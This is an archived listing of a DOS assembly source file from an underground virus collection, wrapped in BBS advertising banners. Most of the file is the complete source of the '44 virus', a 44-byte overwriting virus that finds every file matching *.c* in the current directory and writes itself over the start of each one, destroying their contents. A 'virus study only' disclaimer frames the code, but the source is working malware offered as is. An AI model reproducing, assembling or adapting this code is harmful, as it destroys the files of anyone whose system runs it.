home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / 0-9 / 44.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  5.4 KB  |  100 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24. ;******************************************************************************
  25. ;*  44-virus  version 1.0
  26. ;* 
  27. ;*  Assemble with Tasm 1.01
  28. ;*  
  29. ;*  The 44 virus is a non-resident overwriting virus with a lenght 
  30. ;*  of 44 bytes. It will infect all files with the extension .C* 
  31. ;*  in the current directory.   
  32. ;*   
  33. ;*  (c) 1991 Dark Helmet
  34. ;*  
  35. ;*  The author is not responsible for any damage caused by the virus
  36. ;*  
  37. ;******************************************************************************
  38.  
  39. virus      segment
  40.            org  100h
  41.            assume cs:virus
  42.  
  43. len        equ offset last-100h
  44.  
  45. start:     mov ah,04eh          ; Search first file with extension .c*
  46.            xor cx,cx            ; Only normal files
  47.            lea dx,com_mask      ; 
  48.            int 21h              
  49.                       
  50. open_file: mov ax,3d02h         ; open file for read/write
  51.            mov dx,9eh           
  52.            int 21h
  53.  
  54. Infect:    mov cx,len           ; Write virus to start of file
  55.            lea dx,start          
  56.            mov ah,40h           
  57.            int 21h
  58.            
  59. Next:      mov ah,3eh           ; Close file
  60.            int 21h             
  61.            mov ah,4fh           ; Search next file
  62.            int 21h           
  63.            jnb open_file        ; Are there any files left?
  64.  
  65. com_mask:  db "*.c*",0           ; mask
  66. last:      db 090h
  67.  
  68. virus ends
  69.       end start
  70.  
  71. ;****************************************************************************;
  72. ;                                                                            ;
  73. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  74. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  75. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  76. ;                     -=]                            [=-                     ;
  77. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  78. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  79. ;                     -=]                            [=-                     ;
  80. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  81. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  82. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  83. ;                                                                            ;
  84. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  85. ;                                                                            ;
  86. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  87. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  88. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  89. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  90. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  91. ; Is. Keep This Code in Responsible Hands!                                   ;
  92. ;                                                                            ;
  93. ;****************************************************************************;
  94.  
  95. ;─────────────────────────────────────────────────────────────────────────;
  96. ;──────────────────> and Remember Don't Forget to Call <──────────────────;
  97. ;────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────;
  98. ;─────────────────────────────────────────────────────────────────────────;
  99.  
  100.